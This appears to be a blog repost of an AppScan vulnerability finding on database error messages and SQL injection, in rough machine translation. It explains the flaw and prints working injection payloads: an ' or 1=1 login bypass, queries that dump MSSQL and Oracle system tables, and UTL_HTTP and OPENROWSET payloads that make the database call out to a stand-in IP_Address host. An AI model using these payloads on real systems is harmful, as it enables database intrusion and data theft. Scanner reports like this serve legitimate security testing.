Database error mode found (AppScan scan result)

Recent job requirements address the vulnerability of the Web-based project, the AppScan tool used to scan the vulnerability, in which this article is about discovering database error mode issues. Let's share this piece of stuff.

Original articles, reproduced please specify

------------------------------------------------------------------

Test Type:
Application-Level testing

Threat Classification:
SQL injection

Reason:
Dangerous character cleanup is not performed correctly for user input

Security risk:
Database entries and tables may be viewed, modified, or deleted

Affected Products:
This issue may affect various types of products.

Reference:

"Web application disassembly with ODBC Error Messages" (David Litchfield)
SQL Injection Training Module

Technical Description:

AppScan found a "database error" triggered by an attack other than "SQL injection" in the test response. Although not sure, this error may indicate that the application has a "SQL injection" vulnerability. If so, please read the following "SQL injection" consultation carefully:
WEB applications typically use the database at the backend to interact with the enterprise Data Warehouse. Querying a database the de facto standard language is SQL (each major database vendor has its own version). A Web application typically obtains user input (taken from an HTTP request), merges it into a SQL query, and then sends it to the backend database. The application then processes the query results and sometimes displays the results to the user. An attacker can take advantage of this operation if the application is not careful with the input processing of the user (the attacker). In this case, the attacker could inject malicious data, and when that data was incorporated into the SQL query, the original syntax of the query was changed beyond recognition. For example, if an application uses a user's input (such as a user name and password) to query a database table for a user account to authenticate a user, and an attacker can inject malicious data into the user name portion (and/or the password portion) of the query, the query may change to a completely different data replication query, possibly a query that modifies the database. Or a query that runs a shell command on the database server.

In general, an attacker would step in to achieve this goal. He learns the structure of SQL queries and then uses that knowledge to thwart queries (by injecting data that changes the query syntax) so that the queries executed are different than expected. Suppose the relevant query is:
SELECT COUNT (*) from accounts WHERE username= ' $user ' and password= ' $pass '

Where $user and $pass are user input, which is collected from the HTTP request of the script that constructs the query-either from the GET request query parameter or from the POST request body parameter. The general usage of this query, whose value is:

$user =john, $password =secret123. The resulting query is as follows: SELECT COUNT (*) from accounts WHERE
Username= ' John ' and password= ' secret123 '

If the user password is not paired in the database, the expected query result is 0 if the pairing exists (that is, a user with the name "John" in the database and its password
As "secret123"), the result is >0. This is the basic authentication mechanism for the application. However, an attacker could change this query in the following ways:
1. An attacker could provide an input consisting of a single quote character (') that causes the database to issue an error message, which typically contains valuable information about the SQL query. An attacker could simply include the user value in the requested request and include any value in the password (such as Foobar). The result is the following (malformed) SQL query:

SELECT COUNT (*) from accounts WHERE username= ' and password= ' Foobar '

This may produce the following error message (depending on the specific database used by the backend): A syntax error occurred in the query expression ' username = ' and password = ' foobar ' (omission operator).
The attacker then learns that the query was built according to the expression username= ' $user ' and password= ' $pass '. This critical piece of information is needed to leverage SQL queries at hand. After the attacker understands the format of the query, the next step is to use:

user = ' or 1=1 or ' = ' Password = foobar
The resulting query is as follows:
SELECT COUNT (*) from accounts WHERE username= ' or 1=1 or ' = ' and password= ' Foobar '

This means that the query (in the SQL database) returns true for every record in the "Accounts" table because the 1=1 expression is always true. Therefore, the query returns the number of records in "accounts", and the user (the attacker) is also considered valid. There are several variants of this probing method, for example, send '? or \ ' (You should keep in mind that almost all vendors have their own unique SQL "version".) Specifically, sending ' having 1=1 ' also generates an error message that leaks information about the column name. In some cases, user input is not incorporated into the string context (enclosed in single quotation marks), but is incorporated into the numeric context, in other words, embedded in the status quo. Therefore, in this case, you can use the input string 1 having 1=1.
2. In some cases, it is possible to replace the original query with another query. This can be done by terminating the original query prematurely (for example, using single quotation marks to end a string context, forcing termination with a query delimiter such as a semicolon, and then composing a new query). If your application is flexible enough to receive (and display) data from a modified query (although it does not exactly match the expected data), you can use this technique to download various database tables and records. Even if the application handles unexpected data returned from the database without displaying the data, it may still run malicious queries on the database (for example, changing tables, deleting tables, and running shell commands). Finally, in some cases, malicious queries are designed in a way that allows the required data to be returned in the format expected by the application. The following input strings can be used to generate sensitive information from the system tables in the database (depending on how the application handles the returned query results):

‘? SELECT @ @version, 1,1,1 (MSSQL database-back to database version)
‘? SELECT * FROM Master. sysmessages (MSSQL database-return system information)
‘? SELECT * FROM dbo.sysdatabases (MSSQL database-Returns the database name managed by the database server)
‘? SELECT * FROM Sys.dba_users (Oracle database-return database user name)

Thus, if the user input is not cleaned up (that is, to ensure that the string data does not contain ' or '-these characters must be encoded/escaped and must ensure that the format of the numeric/Boolean or other typed data is appropriate), the attacker can use this condition to manipulate the database. In the Oracle test variant, the SQL injection is validated by forcing the Oracle database to use the Utl_http package to establish an HTTP connection to return the test machine from the Oracle server. The injected valid content for the send is:

' | | Utl_http. REQUEST (' http://IP_Address:80/SQL_Injection_Validation ') | | ‘
Suppose the original SQL query is: SELECT COUNT (*) from accounts where username= ' $user ' and password= ' $pass ', the actual SQL query during the SQL injection test is:

SELECT COUNT (*) from accounts WHERE username= ' | | Utl_http. Reques ' http://IP_Address:80/SQL_Injection_Validation ') | | ' and password= ' $pass '

When you run this SQL query, the Oracle server executes utl_http. Request entry point, this entry point will contact the test machine, requesting via HTTP
'/sql_injection_validation ' file.
Note: To be able to properly verify this test, you must be able to establish a direct TCP connection between the Oracle server and the test machine. Similar methods are used in the MS SQL Port Listener test Variant. The injected valid content for the send is:

‘? SELECT * FROM OPENROWSET (' SQLOLEDB ', ' NETWORK=DBMSSOCN? Address=ip_address,9999?uid=myusr?pwd=mypass ', ' select Foo from bar ')
Suppose the original SQL query is: SELECT COUNT (*) from accounts where username= ' $user ' and password= ' $pass ', during SQL injection, the actual SQL query is:
SELECT COUNT (*) from accounts WHERE username= '? SELECT * FROM OPENROWSET (' SQLOLEDB ', ' NETWORK=DBMSSOCN? address=
[Ip_address],9999?uid=myusr?pwd=mypass ', ' select Foo from bar ') ' and password= ' $pass '

When this SQL query is run, the MS SQL Server establishes a connection to [IP_Address] on port 9999, which is the result of the execution of the OPENROWSET ().
Note: To be able to properly verify this test, you must be able to establish a direct TCP connection between the MS SQL server and the test machine.

Database error mode found (AppScan scan result)